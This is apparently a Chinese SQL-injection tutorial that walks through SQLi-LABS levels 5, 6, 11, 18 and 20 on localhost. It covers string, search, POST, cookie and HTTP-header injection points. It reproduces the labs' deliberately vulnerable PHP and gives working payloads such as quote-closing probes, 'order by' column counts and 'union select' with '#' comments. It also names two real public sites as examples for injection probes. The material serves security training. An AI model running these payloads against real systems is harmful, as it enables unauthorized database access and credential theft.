当前位置:   article > 正文

web漏洞-渗透测试-数据包参数类型-网页请求方法-数据包内容-字符型、JSON型参数注入测试-POST数据注入测试-COOKIE数据注入测试-HTTP头数据注入测试-附SQLi-LABS靶场题解_渗透原码

渗透原码

一、导图

二、明确参数类型

数字型、字符型、搜索型、JSON等。

其中sql语句干扰符号有: '、"、s、)、}等,具体需看写法。

简要明确参数类型是为了防止在注入过程中收到各种符号干扰而导致注入失败。

1.数字型和字符型参数

  1. 此处因为id是数字型参数,所以加不加""均可以返回正常。
  2. mysql> select * from emails where id=1;
  3. +----+------------------+
  4. | id | email_id |
  5. +----+------------------+
  6. | 1 | Dumb@dhakkan.com |
  7. +----+------------------+
  8. 1 row in set (0.00 sec)
  9. mysql> select * from emails where id="1";
  10. +----+------------------+
  11. | id | email_id |
  12. +----+------------------+
  13. | 1 | Dumb@dhakkan.com |
  14. +----+------------------+
  15. 1 row in set (0.00 sec)
  1. 此处因为email_id是字符型参数,所以必须加""才可以返回正常,不加""会报错。
  2. mysql> select * from emails where email_id=Dumb@dhakkan.com;
  3. ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@dhakkan.com' at line 1
  4. mysql> select * from emails where email_id="Dumb@dhakkan.com";
  5. +----+------------------+
  6. | id | email_id |
  7. +----+------------------+
  8. | 1 | Dumb@dhakkan.com |
  9. +----+------------------+
  10. 1 row in set (0.01 sec)
  1. 模拟网站原码
  2. $name=$_GET['x'];    #name接收参数名x的值赋给变量name
  3. $sgl="select * from user where name='$name'";    #此处原码的字符型参数$name两侧存在''
  4. select * from user where id=1;    #正常数字型参数不需要加''(加上也不影响)
  5. select * from user where name='ceshi';    #字符型参数'$name'传参后由于原码,参数两侧会存在''(必需加)
  6. ------>根据网站参数后面的值来判断是否需要考虑引号的问题
  7. ?x=ceshi and 1=1    #当我们进行注入测试对参数注入and 1=1时
  8. select * from user where name='ceshi and 1=1'    #由于参数name是字符型参数,所以传递到网站后台的参数最终会被默认当作是一串字符串,从而无法达到目的。
  1. 实例分析
  2. 实例1:https://nga.178.com/read.php?tid=19045640&rand=331
  3.     分析此网站参数可知后面参数均为数字,可能为数字型参数,可以不考虑"",但是也可能存在"",因为对于数字型参数加不加""均可以正常查询。
  4. 实例2:http://www.letpub.com.cn/index.php?page=journal_cover_gallery
  5.     分析此网站参数可知后面参数为字符型参数,则必须考虑""问题。
  6.     此时http://www.letpub.com.cn/index.php?page=journal_cover_gallery and 1=1注入将起不到任何作用,因为and 1=1也会被带入到""中而起不到任何作用。

总结:

上述字符型参数网站进行注入,要先将引号给闭合掉。

2.搜索型参数

  1. 在SQL语句中,搜索型参数的原码可能前后都有%
  2. 模拟网站原码
  3. $sousuo=$_GET['x'];    #sousuo接收参数名x的值赋给变量sousuo
  4. $sgl="select * from user where name='$sousuo'"; #此处原码的搜索型参数$sousuo两侧存在'% %'
  5. ?x=ceshi and 1=1 #当我们进行注入测试对参数注入and 1=1时
  6. select * from user where name like '%ceshi and 1=1%' #由于参数$sousuo是搜索型参数,所以传递到网站后台的参数两侧会存在'% %',从而无法达到目的。

总结:

上述搜索型参数网站进行注入,要先将引号和百分号给过滤掉。

三、明确请求方法

GET、POST、PUTDELETE、OPTIONS、HEAD、CONNECT、TRACE。

详情可以参照HTTP的8种请求方式及常用请求方式的解析

明确请求方法是为了防止在注入过程中未按照网页请求方法进行注入而导致数据提交不上去,导致无法带入到数据库中而导致注入失败。

可以通过“F12”进行查看请求方法,查看位置如下图所示(此例子的请求方法为“GET”):

  1. GET请求会把请求的参数附加在URL后面,而POST请求的请求参数都是请求body中。
  2. GET请求其实本身HTTP协议并没有限制它的URL大小,但是不同的浏览器对其有不同的大小长度限制,因此当请求过大时使用GET请求就不合适了,此时就要用到POST请求。

简单实例

  1. 模拟网站原码为:
  2. <?php
  3. $GET=$_GET['g']; //GET接受参数名g的值赋值给变量GET
  4. echo $GET;    //输出变量g的数据
  5. $POST=$_POST['p']; //POST接受参数名p的值赋值给变量POST
  6. echo $POST; //输出变量p的数据
  7. ?>
  • 当在URL后面输入g的参数时,网页可将其内容返回。

  • 当在URL后面同时输入g和p的参数时,网页仅可将g的参数返回。

因为p参数接受的是POST请求数据,而这里却将其写在了GET请求方法后,所以网站脚本接收不到,所以仅可将g的参数返回。

  • 当在URL后面同时输入g的参数,在POST请求里输入p的参数时,网页仅可将g和p的参数均返回。

这里数据包显示的是POST请求,但是网页却也将GET请求的g的参数也返回了,是因为GET请求有一个特性,它不管是什么请求,只要在URL后面,网站脚本就可以接受到。

实例总结

如果p参数存在注入,在注入时就必须将注入语句写到数据包的POST请求里,否则网站接收不到,就无法成功注入。

四、明确数据包内容

1.COOKIE

简单实例

  1. 模拟网站原码为:
  2. <?php
  3. $GET=$_GET['g']; //GET接受参数名g的值赋值给变量GET
  4. echo $GET; //输出变量g的数据
  5. $POST=$_POST['p']; //POST接受参数名p的值赋值给变量POST
  6. echo $POST; //输出变量p的数据
  7. $c=$_COOKIE['c'];
  8. echo $c;
  9. ?>

2.REQUEST

什么都能接收。

简单实例

  1. 模拟网站原码为:
  2. <?php
  3. $GET=$_GET['g']; //GET接受参数名g的值赋值给变量GET
  4. echo $GET; //输出变量g的数据
  5. $POST=$_POST['p']; //POST接受参数名p的值赋值给变量POST
  6. echo $POST; //输出变量p的数据
  7. $c=$_COOKIE['c'];
  8. echo $c;
  9. $r=$_REQUEST['r'];
  10. echo $r;
  11. ?>
  • 将其参数写在GET请求里——>可以接收。

  • 将其参数写在POST请求里——>可以接收。

  • 同样,如果放在Cookie里也同样可以接收。


总结:

我们进行测试的时候一般是黑盒测试,就不清楚对方采用的是单个接收的方式还是全部接收的方式,在实战里最好是使用网站原始的接收方式,用其它提交方式进行提交主要是为了绕过一些相关的防护软件。

3.SERVER

是PHP里的内置全局变量,用其来获取系统的一些值,如:操作系统版本、ip地址、脚本名、浏览器信息等。

详情可以参照$_SERVER详解

简单实例

  1. 模拟网站原码为:
  2. <?php
  3. $GET=$_GET['g']; //GET接受参数名g的值赋值给变量GET
  4. echo $GET; //输出变量g的数据
  5. $POST=$_POST['p']; //POST接受参数名p的值赋值给变量POST
  6. echo $POST; //输出变量p的数据
  7. $S=$_SERVER['HTTP_USER_AGENT'];
  8. echo $s;
  9. ?>

实例

此网站会获取到我们的浏览器信息

修改数据包

可以看到放包后返回的内容也跟着被修改了

所以这种形式是我们表面看不到的,它发生在数据包里,所以在检测这种漏洞时,大部分是在数据包上进行注入。如果将其将获取到的信息带入到数据库进行查询,同样也会造成相应的注入漏洞。

这种注入也被称为HTTP头注入

五、字符型参数注入测试

<SQLi-LABS less-5>

1.网站原码

  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>Less-5 Double Query- Single Quotes- String</title>
  6. </head>
  7. <body bgcolor="#000000">
  8. <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
  9. <font size="3" color="#FFFF00">
  10. <?php
  11. //including the Mysql connect parameters.
  12. include("../sql-connections/sql-connect.php");
  13. error_reporting(0);
  14. // take the variables
  15. if(isset($_GET['id']))
  16. {
  17. $id=$_GET['id'];
  18. //logging the connection parameters to a file for analysis.
  19. $fp=fopen('result.txt','a');
  20. fwrite($fp,'ID:'.$id."\n");
  21. fclose($fp);
  22. // connectivity
  23. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  24. $result=mysql_query($sql);
  25. $row = mysql_fetch_array($result);
  26. if($row)
  27. {
  28. echo '<font size="5" color="#FFFF00">';
  29. echo 'You are in...........';
  30. echo "<br>";
  31. echo "</font>";
  32. }
  33. else
  34. {
  35. echo '<font size="3" color="#FFFF00">';
  36. print_r(mysql_error());
  37. echo "</br></font>";
  38. echo '<font color= "#0000ff" font size= 3>';
  39. }
  40. }
  41. else { echo "Please input the ID as parameter with numeric value";}
  42. ?>
  43. </font> </div></br></br></br><center>
  44. <img src="../images/Less-5.jpg" /></center>
  45. </body>
  46. </html>

2.尝试注入

  1. http://localhost/sqli-labs/Less-5/index.php?id=1%20and%201=1
  2. http://localhost/sqli-labs/Less-5/index.php?id=1%20and%201=2
  3. --->发现网页并没有发生任何变化

3.分析原码

可以看到变量id两侧存在单引号,所以注入测试中注入的内容被当作了一串字符串处理,因此导致注入失败。

4.正确注入

  1. http://localhost/sqli-labs/Less-5/index.php?id=1%27%20and%20%271%27=%271
  2. http://localhost/sqli-labs/Less-5/index.php?id=1%27%20and%20%271%27=%272
  3. --->发现网页发生了变化--->存在注入

<SQLi-LABS less-6>

1.网站原码

  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>Less-6 Double Query- Double Quotes- String</title>
  6. </head>
  7. <body bgcolor="#000000">
  8. <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
  9. <font size="3" color="#FFFF00">
  10. <?php
  11. //including the Mysql connect parameters.
  12. include("../sql-connections/sql-connect.php");
  13. error_reporting(0);
  14. // take the variables
  15. if(isset($_GET['id']))
  16. {
  17. $id=$_GET['id'];
  18. //logging the connection parameters to a file for analysis.
  19. $fp=fopen('result.txt','a');
  20. fwrite($fp,'ID:'.$id."\n");
  21. fclose($fp);
  22. // connectivity
  23. $id = '"'.$id.'"';
  24. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  25. $result=mysql_query($sql);
  26. $row = mysql_fetch_array($result);
  27. if($row)
  28. {
  29. echo '<font size="5" color="#FFFF00">';
  30. echo 'You are in...........';
  31. echo "<br>";
  32. echo "</font>";
  33. }
  34. else
  35. {
  36. echo '<font size="3" color= "#FFFF00">';
  37. print_r(mysql_error());
  38. echo "</br></font>";
  39. echo '<font color= "#0000ff" font size= 3>';
  40. }
  41. }
  42. else { echo "Please input the ID as parameter with numeric value";}
  43. ?>
  44. </font> </div></br></br></br><center>
  45. <img src="../images/Less-6.jpg" /></center>
  46. </body>
  47. </html>

2.尝试注入

  1. http://localhost/sqli-labs/Less-6/index.php?id=1%20and%201=1
  2. http://localhost/sqli-labs/Less-6/index.php?id=1%20and%201=2
  3. --->发现网页并没有发生任何变化

3.分析原码

可以看到变量id两侧存在双引号,所以注入测试中要对此双引号进行闭合、注释。

4.正确注入

  1. http://localhost/sqli-labs/Less-6/index.php?id=1%22%20and%201=1--+
  2. http://localhost/sqli-labs/Less-6/index.php?id=1%22%20and%201=2--+
  3. --->发现网页发生了变化--->存在注入

六、JSON型参数注入测试

JSON的2种结构形式,键值对形式和数组形式。

在遇到JSON形式的参数时,要注意注入语句的书写格式。

七、POST数据提交注入测试

<SQLi-LABS less-11>

1.引入

以此网站为例,网址后面并没有任何参数,但是并不能说明此网站没有注入。

2.网站原码

  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>Less-11- Error Based- String</title>
  6. </head>
  7. <body bgcolor="#000000">
  8. <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br></div>
  9. <div align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">
  10. <div style="padding-top:10px; font-size:15px;">
  11. <!--Form to POST the data for sql injections Error based SQL Injection-->
  12. <form action="" name="form1" method="POST">
  13. <div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;
  14. <input type="text" name="uname" value=""/>
  15. </div>
  16. <div> Password : &nbsp;&nbsp;&nbsp;
  17. <input type="text" name="passwd" value=""/>
  18. </div></br>
  19. <div style=" margin-top:9px;margin-left:90px;">
  20. <input type="submit" name="submit" value="Submit" />
  21. </div>
  22. </form>
  23. </div></div>
  24. <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
  25. <font size="6" color="#FFFF00">
  26. <?php
  27. //including the Mysql connect parameters.
  28. include("../sql-connections/sql-connect.php");
  29. error_reporting(0);
  30. // take the variables
  31. if(isset($_POST['uname']) && isset($_POST['passwd']))
  32. {
  33. $uname=$_POST['uname'];
  34. $passwd=$_POST['passwd'];
  35. //logging the connection parameters to a file for analysis.
  36. $fp=fopen('result.txt','a');
  37. fwrite($fp,'User Name:'.$uname);
  38. fwrite($fp,'Password:'.$passwd."\n");
  39. fclose($fp);
  40. // connectivity
  41. @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  42. $result=mysql_query($sql);
  43. $row = mysql_fetch_array($result);
  44. if($row)
  45. {
  46. //echo '<font color= "#0000ff">';
  47. echo "<br>";
  48. echo '<font color= "#FFFF00" font size = 4>';
  49. //echo " You Have successfully logged in\n\n " ;
  50. echo '<font size="3" color="#0000ff">';
  51. echo "<br>";
  52. echo 'Your Login name:'. $row['username'];
  53. echo "<br>";
  54. echo 'Your Password:' .$row['password'];
  55. echo "<br>";
  56. echo "</font>";
  57. echo "<br>";
  58. echo "<br>";
  59. echo '<img src="../images/flag.jpg" />';
  60. echo "</font>";
  61. }
  62. else
  63. {
  64. echo '<font color= "#0000ff" font size="3">';
  65. //echo "Try again looser";
  66. print_r(mysql_error());
  67. echo "</br>";
  68. echo "</br>";
  69. echo "</br>";
  70. echo '<img src="../images/slap.jpg" />';
  71. echo "</font>";
  72. }
  73. }
  74. ?>
  75. </font>
  76. </div>
  77. </body>
  78. </html>

3.输入信息后抓取数据包

通过抓取到的数据包可以发现使用的请求方法是POST请求。

4.注入方法

  • 方法一

burpsuite抓取到的数据包内进行注入。

  • 方法二

使用hackbar插件进行注入。

5.注入前考虑的两个问题

  • 问题一——参数类型

此处注入是对用户名和密码两个参数进行注入,不难想到其注入类型必然不为数字型,因此必然会有符号干扰注入,所以在进行注入时要对引号进行闭合、注释。

  • 问题二——提交方式

此网站的提交方式是POST请求,需要使用上面提到的两种方法进行注入。

6.分析原码

可以看到变量id两侧存在单引号,所以注入过程中要将其进行闭合、注释。

7.猜解列数(字段数)

  1. http://localhost/sqli-labs/Less-11/
  2. uname=admin' order by 2#&passwd=admin&submit=Submit
  3. 返回页面正常
  4. http://localhost/sqli-labs/Less-11/
  5. uname=admin' order by 3#&passwd=admin&submit=Submit
  6. 返回页面不正常
  7. ------>列数(字段数)为:2

8.报错猜解准备

添加“ union select + 1~列数 ”。

  1. http://localhost/sqli-labs/Less-11/
  2. uname=admin' union select 1,2#&passwd=admin&submit=Submit

9.报错猜解

将参数部分修改为错误值,让网页报错。

  1. http://localhost/sqli-labs/Less-11/
  2. uname=admin' and 1=2 union select 1,2#&passwd=admin&submit=Submit

10.后续

后续信息收集等操作可以参照“SQL注入操作流程及实例演示”。

11.补充(#与--+)

在mysql中注释可以使用--+,但是部分注释需要采用#,需要多测试才能发现,为了验证#是注释符号可以将#替换为--+执行查看结果看到报错信息。

  1. 使用--+进行注释
  2. mysql> select username,password from users where username='admin' and 1=2 union select 1,2 --+ and password='admin' limit 0 1;
  3. ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and password='admin' limit 0 1' at line 1
  4. --->发生错误,注释失败
  5. 使用#进行注释将(--+替换为#)
  6. mysql> select username,password from users where username='admin' and 1=2 union select 1,2 # and password='admin' limit 0 1;
  7. +----------+----------+
  8. | username | password |
  9. +----------+----------+
  10. | 1 | 2 |
  11. +----------+----------+
  12. 1 row in set (0.00 sec)
  13. --->成功列出,注释成功

八、COOKIE数据提交注入测试

<SQLi-LABS less-20>

1.网站原码

  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>Less-20 Cookie Injection- Error Based- string</title>
  6. </head>
  7. <body bgcolor="#000000">
  8. <?php
  9. //including the Mysql connect parameters.
  10. include("../sql-connections/sql-connect.php");
  11. error_reporting(0);
  12. if(!isset($_COOKIE['uname']))
  13. {
  14. //including the Mysql connect parameters.
  15. include("../sql-connections/sql-connect.php");
  16. echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome&nbsp;&nbsp;&nbsp;<font color='#FF0000'> Dhakkan </font><br></div>";
  17. echo "<div align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";
  18. echo "<div style='padding-top:10px; font-size:15px;'>";
  19. echo "<!--Form to POST the contents -->";
  20. echo '<form action=" " name="form1" method="POST">';
  21. echo ' <div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;';
  22. echo ' <input type="text" name="uname" value=""/> </div>';
  23. echo ' <div> Password : &nbsp; &nbsp; &nbsp;';
  24. echo ' <input type="text" name="passwd" value=""/></div></br>';
  25. echo ' <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>';
  26. echo '</form>';
  27. echo '</div>';
  28. echo '</div>';
  29. echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';
  30. echo '<font size="3" color="#FFFF00">';
  31. echo '<center><br><br><br>';
  32. echo '<img src="../images/Less-20.jpg" />';
  33. echo '</center>';
  34. function check_input($value)
  35. {
  36. if(!empty($value))
  37. {
  38. $value = substr($value,0,20); // truncation (see comments)
  39. }
  40. if (GET_magic_quotes_gpc()) // Stripslashes if magic quotes enabled
  41. {
  42. $value = stripslashes($value);
  43. }
  44. if (!ctype_digit($value)) // Quote if not a number
  45. {
  46. $value = "'" . mysql_real_escape_string($value) . "'";
  47. }
  48. else
  49. {
  50. $value = intval($value);
  51. }
  52. return $value;
  53. }
  54. echo "<br>";
  55. echo "<br>";
  56. if(isset($_POST['uname']) && isset($_POST['passwd']))
  57. {
  58. $uname = check_input($_POST['uname']);
  59. $passwd = check_input($_POST['passwd']);
  60. $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
  61. $result1 = mysql_query($sql);
  62. $row1 = mysql_fetch_array($result1);
  63. $cookee = $row1['username'];
  64. if($row1)
  65. {
  66. echo '<font color= "#FFFF00" font size = 3 >';
  67. setcookie('uname', $cookee, time()+3600);
  68. header ('Location: index.php');
  69. echo "I LOVE YOU COOKIES";
  70. echo "</font>";
  71. echo '<font color= "#0000ff" font size = 3 >';
  72. //echo 'Your Cookie is: ' .$cookee;
  73. echo "</font>";
  74. echo "<br>";
  75. print_r(mysql_error());
  76. echo "<br><br>";
  77. echo '<img src="../images/flag.jpg" />';
  78. echo "<br>";
  79. }
  80. else
  81. {
  82. echo '<font color= "#0000ff" font size="3">';
  83. //echo "Try again looser";
  84. print_r(mysql_error());
  85. echo "</br>";
  86. echo "</br>";
  87. echo '<img src="../images/slap.jpg" />';
  88. echo "</font>";
  89. }
  90. }
  91. echo "</font>";
  92. echo '</font>';
  93. echo '</div>';
  94. }
  95. else
  96. {
  97. if(!isset($_POST['submit']))
  98. {
  99. $cookee = $_COOKIE['uname'];
  100. $format = 'D d M Y - H:i:s';
  101. $timestamp = time() + 3600;
  102. echo "<center>";
  103. echo '<br><br><br>';
  104. echo '<img src="../images/Less-20.jpg" />';
  105. echo "<br><br><b>";
  106. echo '<br><font color= "red" font size="4">';
  107. echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
  108. echo "</font><br>";
  109. echo '<font color= "cyan" font size="4">';
  110. echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
  111. echo "</font><br>";
  112. echo '<font color= "#FFFF00" font size = 4 >';
  113. echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
  114. echo '<font color= "orange" font size = 5 >';
  115. echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
  116. echo "<br></font>";
  117. $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
  118. $result=mysql_query($sql);
  119. if (!$result)
  120. {
  121. die('Issue with your mysql: ' . mysql_error());
  122. }
  123. $row = mysql_fetch_array($result);
  124. if($row)
  125. {
  126. echo '<font color= "pink" font size="5">';
  127. echo 'Your Login name:'. $row['username'];
  128. echo "<br>";
  129. echo '<font color= "grey" font size="5">';
  130. echo 'Your Password:' .$row['password'];
  131. echo "</font></b>";
  132. echo "<br>";
  133. echo 'Your ID:' .$row['id'];
  134. }
  135. else
  136. {
  137. echo "<center>";
  138. echo '<br><br><br>';
  139. echo '<img src="../images/slap1.jpg" />';
  140. echo "<br><br><b>";
  141. //echo '<img src="../images/Less-20.jpg" />';
  142. }
  143. echo '<center>';
  144. echo '<form action="" method="POST">';
  145. echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';
  146. echo '</form>';
  147. echo '</center>';
  148. }
  149. else
  150. {
  151. echo '<center>';
  152. echo "<br>";
  153. echo "<br>";
  154. echo "<br>";
  155. echo "<br>";
  156. echo "<br>";
  157. echo "<br>";
  158. echo '<font color= "#FFFF00" font size = 6 >';
  159. echo " Your Cookie is deleted";
  160. setcookie('uname', $row1['username'], time()-3600);
  161. header ('Location: index.php');
  162. echo '</font></center></br>';
  163. }
  164. echo "<br>";
  165. echo "<br>";
  166. //header ('Location: main.php');
  167. echo "<br>";
  168. echo "<br>";
  169. //echo '<img src="../images/slap.jpg" /></center>';
  170. //logging the connection parameters to a file for analysis.
  171. $fp=fopen('result.txt','a');
  172. fwrite($fp,'Cookie:'.$cookee."\n");
  173. fclose($fp);
  174. }
  175. ?>
  176. </body>
  177. </html>

2.分析原码

经过分析可以发现此网页对提交的数据采取的是POST请求,并且对POST请求的内容会经函数check_input进行过滤后才会带入到sql语句中进行提交,但是也存在使用COOKIE进行接收,并且无过滤措施。

所以这关考察的是采用COOKIE注入绕过相关防护

3.报错猜解准备(COOKIE绕过)

Cookie: uname=admin' union select 1,2,3#

4.报错猜解

Cookie: uname=admin' and 1=2 union select 1,2,3#

5.后续

后续信息收集等操作可以参照“SQL注入操作流程及实例演示”。

6.补充(网站传递参数的方式)

参数类型

含义

GET型

一般访问网页的行为

POST型

上传文件,登陆

cookie型

伴随着所有访问网页的行为

7.COOKIE注入原理对GET、POST传递来的参数进行了过滤,但是忽略了COOKIE也可以传递参数,更改本地的COOKIE,从而利用COOKIE来提交非法语句。

条件

含义

条件

1

程序对GET和POST方式提交的数据进行了过滤,但未对COOKIE提交的数据库进行过滤

条件2

条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。

九、HTTP头部参数数据注入测试

<SQLi-LABS less-18>

1.网站原码

  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>Less-18 Header Injection- Error Based- string</title>
  6. </head>
  7. <body bgcolor="#000000">
  8. <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br></div>
  9. <div align="center" style="margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;">
  10. <div style="padding-top:10px; font-size:15px;">
  11. <!--Form to POST the contents -->
  12. <form action="" name="form1" method="POST">
  13. <div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;
  14. <input type="text" name="uname" value=""/> </div>
  15. <div> Password : &nbsp; &nbsp;
  16. <input type="text" name="passwd" value=""/></div></br>
  17. <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>
  18. </form>
  19. </div>
  20. </div>
  21. <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
  22. <font size="3" color="#FFFF00">
  23. <?php
  24. //including the Mysql connect parameters.
  25. include("../sql-connections/sql-connect.php");
  26. error_reporting(0);
  27. function check_input($value)
  28. {
  29. if(!empty($value))
  30. {
  31. // truncation (see comments)
  32. $value = substr($value,0,20);
  33. }
  34. // Stripslashes if magic quotes enabled
  35. if (GET_magic_quotes_gpc())
  36. {
  37. $value = stripslashes($value);
  38. }
  39. // Quote if not a number
  40. if (!ctype_digit($value))
  41. {
  42. $value = "'" . mysql_real_escape_string($value) . "'";
  43. }
  44. else
  45. {
  46. $value = intval($value);
  47. }
  48. return $value;
  49. }
  50. $uagent = $_SERVER['HTTP_USER_AGENT'];
  51. $IP = $_SERVER['REMOTE_ADDR'];
  52. echo "<br>";
  53. echo 'Your IP ADDRESS is: ' .$IP;
  54. echo "<br>";
  55. //echo 'Your User Agent is: ' .$uagent;
  56. // take the variables
  57. if(isset($_POST['uname']) && isset($_POST['passwd']))
  58. {
  59. $uname = check_input($_POST['uname']);
  60. $passwd = check_input($_POST['passwd']);
  61. /*
  62. echo 'Your Your User name:'. $uname;
  63. echo "<br>";
  64. echo 'Your Password:'. $passwd;
  65. echo "<br>";
  66. echo 'Your User Agent String:'. $uagent;
  67. echo "<br>";
  68. echo 'Your User Agent String:'. $IP;
  69. */
  70. //logging the connection parameters to a file for analysis.
  71. $fp=fopen('result.txt','a');
  72. fwrite($fp,'User Agent:'.$uname."\n");
  73. fclose($fp);
  74. $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
  75. $result1 = mysql_query($sql);
  76. $row1 = mysql_fetch_array($result1);
  77. if($row1)
  78. {
  79. echo '<font color= "#FFFF00" font size = 3 >';
  80. $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
  81. mysql_query($insert);
  82. //echo 'Your IP ADDRESS is: ' .$IP;
  83. echo "</font>";
  84. //echo "<br>";
  85. echo '<font color= "#0000ff" font size = 3 >';
  86. echo 'Your User Agent is: ' .$uagent;
  87. echo "</font>";
  88. echo "<br>";
  89. print_r(mysql_error());
  90. echo "<br><br>";
  91. echo '<img src="../images/flag.jpg" />';
  92. echo "<br>";
  93. }
  94. else
  95. {
  96. echo '<font color= "#0000ff" font size="3">';
  97. //echo "Try again looser";
  98. print_r(mysql_error());
  99. echo "</br>";
  100. echo "</br>";
  101. echo '<img src="../images/slap.jpg" />';
  102. echo "</font>";
  103. }
  104. }
  105. ?>
  106. </font>
  107. </div>
  108. </body>
  109. </html>

2.分析原码

从上面的SQL语句当中我们可以看到对执行的insert语句没有任何的限制,也就是说我们通过修改http的头部信息可以达到SQL注入的效果。

为了查看方便在第103行下面添加“echo $insert;”来返回$insert。

3.寻找注入方式

输入账号密码后抓包可以看到浏览器信息已经被写到了SQL语句中,因此,我们如果想注入,就可以在数据包中的浏览器信息部分进行操作。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/不正经/article/detail/269690
推荐阅读